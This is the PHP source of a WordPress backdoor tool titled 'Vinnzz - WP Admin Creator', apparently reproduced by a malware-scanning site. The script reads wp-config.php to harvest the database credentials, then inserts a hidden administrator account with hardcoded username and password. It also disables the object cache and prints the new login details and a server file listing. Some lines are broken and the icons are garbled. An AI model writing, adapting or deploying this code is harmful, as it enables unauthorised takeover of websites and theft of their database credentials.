// WordPress Admin Creator - FIXED VERSION (No Auto-Delete)
error_reporting(0);
echo '<!DOCTYPE html>
<html>
<head>
<title>Vinnzz - Create WP Admin</title>
<style>
body {font-family: Arial; background: #1a1a1a; color: #fff; padding: 20px;}
.box {background: #2a2a2a; padding: 20px; margin: 10px 0; border-radius: 5px;}
.success {border-left: 5px solid #0f0; background: #112211;}
.error {border-left: 5px solid #f00; background: #221111;}
pre {background: #000; color: #0f0; padding: 10px; overflow: auto;}
.btn {background: #0088cc; color: white; padding: 10px 15px; border: none; cursor: pointer; margin: 5px; border-radius: 3px;}
.btn:hover {background: #00aaff;}
.warning {color: #ff9900;}
.cred {background: #000; padding: 10px; margin: 5px 0; border-radius: 3px; font-family: monospace;}
</style>
</head>
<body>
<h2>π₯ WordPress Admin Creator π₯</h2>';
// ============================================
// METHOD 1: Cari WordPress otomatis
// ============================================
echo '<div class="box">';
echo '<h3>β‘ Searching for WordPress...</h3>';
// Cari wp-config.php
$found_config = false;
$config_path = '';
for($i=0; $i<=5; $i++) {
$path = str_repeat('../', $i) . 'wp-config.php';
if(file_exists($path)) {
echo "β Found: $path<br>";
$found_config = true;
$config_path = $path;
break;
}
}
if(!$found_config) {
echo "β WordPress not found!<br>";
echo "Current dir: " . getcwd() . "<br><br>";
echo "<strong>Files in current directory:</strong><br>";
foreach(scandir() as $file) {
echo "• $file<br>";
}
echo '</div></body></html>';
exit;
}
// ============================================
// METHOD 2: Baca wp-config.php
// ============================================
$content = @file_get_contents($config_path);
if(!$content) {
echo "β Cannot read wp-config.php<br>";
echo '</div></body></html>';
exit;
}
// Extract database info
$db_name = $db_user = $db_pass = $db_host = $prefix = '';
// DB_NAME
if(preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $content, $match) ||
preg_match('/define\s*\(\s*"DB_NAME"\s*,\s*"([^"]+)"/', $content, $match)) {
$db_name = $match[1];
}
// DB_USER
if(preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'/", $content, $match) ||
preg_match('/define\s*\(\s*"DB_USER"\s*,\s*"([^"]+)"/', $content, $match)) {
$db_user = $match[1];
}
// DB_PASSWORD
if(preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'/", $content, $match) ||
preg_match('/define\s*\(\s*"DB_PASSWORD"\s*,\s*"([^"]+)"/', $content, $match)) {
$db_pass = $match[1];
}
// DB_HOST
if(preg_match("/define\s*\(\s*'DB_HOST'\s*,\s*'([^']+)'/", $content, $match) ||
preg_match('/define\s*\(\s*"DB_HOST"\s*,\s*"([^"]+)"/', $content, $match)) {
$db_host = $match[1];
} else {
$db_host = 'localhost';
}
// Table prefix
if(preg_match("/\\\$table_prefix\s*=\s*'([^']+)'/", $content, $match) ||
preg_match('/\\\$table_prefix\s*=\s*"([^"]+)"/', $content, $match)) {
$prefix = $match[1];
} else {
$prefix = 'wp_';
}
echo "β Database: $db_name<br>";
echo "β User: $db_user<br>";
echo "β Host: $db_host<br>";
echo "β Prefix: $prefix<br>";
// ============================================
// METHOD 3: Connect ke Database
// ============================================
echo '<hr><h3>π Connecting to database...</h3>';
$conn = @new mysqli($db_host, $db_user, $db_pass, $db_name);
if($conn->connect_error) {
echo '<div class="box error">';
echo 'β Database error: ' . $conn->connect_error . '<br>';
echo 'Trying with localhost...<br>';
// Coba dengan localhost
$conn = @new mysqli('localhost', $db_user, $db_pass, $db_name);
if($conn->connect_error) {
echo 'β Still failed: ' . $conn->connect_error;
echo '</div>';
echo '</div></body></html>';
exit;
} else {
echo 'β Connected via localhost!';
}
echo '</div>';
} else {
echo 'β Database connected!<br>';
}
// ============================================
// METHOD 4: Buat Admin User
// ============================================
echo '<h3>π€ Creating admin user...</h3>';
$username = 'kacong_admin';
$password = 'kacong2026';
$email = 'kacongnieh@kimak.com';
// Hash password yang lebih baik untuk WordPress
$hashed_password = password_hash($password, PASSWORD_DEFAULT);
// Check jika user sudah ada
$check = $conn->query("SELECT ID FROM {$prefix}users WHERE user_login = '$username'");
if($check && $check->num_rows > 0) {
echo "User '$username' already exists!<br>";
$username = 'admin_' . rand(1000, 9999);
echo "Using new username: $username<br>";
}
// SQL untuk create user
$sql = "INSERT INTO {$prefix}users
(user_login, user_pass, user_nicename, user_email, user_registered, display_name, user_status)
VALUES
('$username', '$hashed_password', '$username', '$email', NOW(), 'Admin', 0)";
if($conn->query($sql)) {
$user_id = $conn->insert_id;
// Add user meta untuk admin capabilities
$conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value)
VALUES ($user_id, '{$prefix}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')");
$conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value)
VALUES ($user_id, '{$prefix}user_level', '10')");
echo '<div class="box success">';
echo '<h3>β
SUCCESS!</h3>';
echo '<div class="cred">π€ Username: <strong>' . $username . '</strong></div>';
echo '<div class="cred">π Password: <strong>' . $password . '</strong></div>';
echo '<div class="cred">π§ Email: <strong>' . $email . '</strong></div>';
echo '<div class="cred">π User ID: <strong>' . $user_id . '</strong></div>';
echo '</div>';
// ============================================
// METHOD 5: FIX LITESPEDE CACHE ERROR
// ============================================
echo '<h3>β‘ Fixing LiteSpeed Cache...</h3>';
// Cari object-cache.php
$object_cache_path = '';
for($i=0; $i<=3; $i++) {
$path = str_repeat('../', $i) . 'wp-content/object-cache.php';
if(file_exists($path)) {
$object_cache_path = $path;
break;
}
}
if($object_cache_path) {
// Backup
@copy($object_cache_path, $object_cache_path . '.backup_' . time());
// Disable
@rename($object_cache_path, $object_cache_path . '.disabled');
echo "β Fixed: Disabled object-cache.php<br>";
echo "<span class='warning'>β οΈ Cache disabled to prevent LiteSpeed errors</span><br>";
} else {
echo "β No object cache found<br>";
}
// ============================================
// METHOD 6: Cari Login URL
// ============================================
echo '<h3>π Finding login URL...</h3>';
$login_url = '';
$login_paths = ['wp-login.php', '../wp-login.php', '../../wp-login.php'];
foreach($login_paths as $path) {
if(file_exists($path)) {
$login_url = $path;
break;
}
}
if($login_url) {
echo "Login URL: <a href='$login_url' target='_blank' style='color:#0ff;'><strong>$login_url</strong></a><br>";
echo '<button class="btn" onclick="window.open(\'' . $login_url . '\')" style="background:#0a0;">π Login Now</button> ';
} else {
echo "Try: <a href='wp-login.php' style='color:#0ff;'><strong>wp-login.php</strong></a><br>";
}
} else {
echo '<div class="box error">';
echo 'β Failed to create user: ' . $conn->error . '<br>';
// Try alternative SQL
echo 'Trying alternative method...<br>';
// Coba dengan md5 hash (WordPress lama)
$hashed_password = md5($password);
$sql2 = "INSERT INTO {$prefix}users
(user_login, user_pass, user_nicename, user_email, user_registered)
VALUES
('$username', '$hashed_password', '$username', '$email', NOW())";
if($conn->query($sql2)) {
$user_id = $conn->insert_id;
$conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$prefix}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')");
echo 'β User created with alternative method!<br>';
echo '<div class="cred">Username: ' . $username . '</div>';
echo '<div class="cred">Password: ' . $password . '</div>';
} else {
echo 'β Still failed: ' . $conn->error;
}
echo '</div>';
}
$conn->close();
// ============================================
// METHOD 7: BUTTON UNTUK COPY CREDENTIALS
// ============================================
echo '<hr>
<script>
function copyCreds() {
const text = `Username: ' . $username . '\\nPassword: ' . $password . '\\nEmail: ' . $email . '\\n\\nLogin URL: ' . ($login_url ? $login_url : "wp-login.php") . '`;
if(navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(text).then(() => {
alert("β
Credentials copied to clipboard!");
}).catch(err => {
fallbackCopy(text);
});
} else {
fallbackCopy(text);
}
}
function fallbackCopy(text) {
const textarea = document.createElement("textarea");
textarea.value = text;
textarea.style.position = "fixed";
document.body.appendChild(textarea);
textarea.focus();
textarea.select();
try {
const successful = document.execCommand("copy");
alert(successful ? "β
Copied!" : "β Copy failed");
} catch (err) {
alert("β Copy error: " + err);
}
document.body.removeChild(textarea);
}
</script>
<div style="margin:20px 0;">
<button class="btn" onclick="copyCreds()" style="background:#008800;">π Copy Credentials</button>
<button class="btn" onclick="location.reload()" style="background:#888;">π Refresh Page</button>
<button class="btn" onclick="history.back()" style="background:#884400;">π Go Back</button>
</div>
</div>';
// ============================================
// METHOD 8: DEBUG INFO
// ============================================
echo '<div class="box">
<h3>π Debug Info</h3>
<pre>';
echo 'PHP Version: ' . phpversion() . "\n";
echo 'Current Dir: ' . getcwd() . "\n";
echo 'Config Path: ' . $config_path . "\n";
echo 'Server: ' . ($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') . "\n";
echo 'Script: ' . basename(__FILE__) . "\n";
echo 'Script will NOT auto-delete\n";
// List beberapa file
echo "\nFiles in current dir:\n";
$files = scandir();
foreach($files as $file) {
if($file != && $file != '..') {
$size = filesize($file);
echo "- $file (" . ($size ? number_format($size) . ' bytes' : 'dir') . ")\n";
}
}
echo '</pre>
</div>';
echo '<div style="text-align:center; margin-top:20px; padding:15px; background:#222; border-radius:5px;">
<strong style="color:#0ff;">Vinnzz - WP Admin Creator</strong><br>
<span style="color:#888; font-size:12px;">File will remain on server (no auto-delete)</span>
</div>';
echo '</body></html>';
© 2023 Quttera Ltd. All rights reserved.